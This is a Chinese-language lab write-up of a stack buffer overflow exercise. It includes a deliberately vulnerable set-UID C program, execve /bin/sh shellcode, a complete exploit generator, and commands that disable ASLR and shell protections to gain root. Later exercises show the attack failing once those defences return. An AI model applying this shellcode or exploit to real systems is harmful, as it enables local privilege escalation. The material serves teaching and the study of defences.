缓冲区溢出攻击

首先为了方便观察汇编语句，需要在32位环境下进行操作，首先在Kali中安装相关编译应用：

输入命令linux32进入32位linux环境，输入/bin/bash使用bash，使用exit退出linux32位环境

ubuntu和其他一些linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键，所以在本次实验中，我们使用以下命令来关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，为了进一步防范缓冲区溢出攻击以及其他利用shell程序的攻击，许多shell程序在被调用的时候自动放弃它们的特权，因此，即使能欺骗一个set-UID程序调用一个Shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或者/bin/dash的一个符号连接，为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序zsh来代替/bin/bash：
（需要root权限）

cd /bin
rm sh
ln -s zsh sh 
exit

一般情况下，缓冲区溢出会早成程序崩溃，在程序中，溢出的覆盖了返回地址，而如果覆盖返回的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于其他功能，这段代码就是shellcode。
我们设计如下的shellcode：

#include <stdio.h>
int main(){
	char *name[2];
	name[0] = “/bin/sh”;
	name[1] = NULL;
	execve(name[0], name, NULL);
}

此shellcode的汇编指令如下：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

假设存在缓冲区溢出的程序为stack，将以下代码保存为“stack.c”文件，保存到/tmp目录下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
 

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”
编译该程序，并设置SET-UID，命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c 
chmod u+s stack

gcc编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码的时候需要使用-fno-stack-protector来关闭这种机制。而-z execstack用于允许执行栈。

由于我们的目标是攻击刚才的漏洞程序，并通过攻击获得root权限，所以构造如下payload：
将以下代码保存为”exploit.c”文件，保存在/tmp下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
char shellcode[]=
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
void main(int argc, char **argv) {
char buffer[517];
FILE *badfile;
 
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
 
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
 
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

在上面的代码中，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack
disass main

结果如图：

接下来的操作：
先用breakpoint语句b main 设置main函数地址的断点，使main函数的数据地址存在寄存器中，然后用 i r $esp 读取寄存器。

得到buffer为0xffe07dc0，
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffe07dc0(十六进制)+100(十进制)=0xffe07e24(十六进制)
现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \x24\x7e\xe0\xff

接下来先退出再编译 exploit.c
gcc -m32 -o exploit exploit.c

现在开始进行攻击：
先运行程序expolit，再运行漏洞程序stack，观察结果：、

可见，通过攻击，获得了root权限！

练习二：
通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，观察能否攻击成功，能否获得root权限。

攻击失败，没有root权限。我想因为是由于地址空间随机化被开启，导致之前计算的地址与实际的地址出现了不同，从而不能完成攻击。

练习三：
将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得root权限。

攻击失败，没有获得root权限。使用的bash程序，当shell运行时，没有root权限，此时，即便攻击程序攻击了漏洞程序，也无法获得root权限。

在实验阶段中，地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化，固定地址，从而使得地址的猜测变得更加简单。攻击程序写一个badfile文件，将其中的一部分字节替换为之前计算好的字节，当漏洞程序读取badfile文件时，由于没有限制输入的长度，导致返回值被之前替换的字节覆盖，当程序返回时，跳转到了预先指定的地址，获得了root权限，完成了攻击。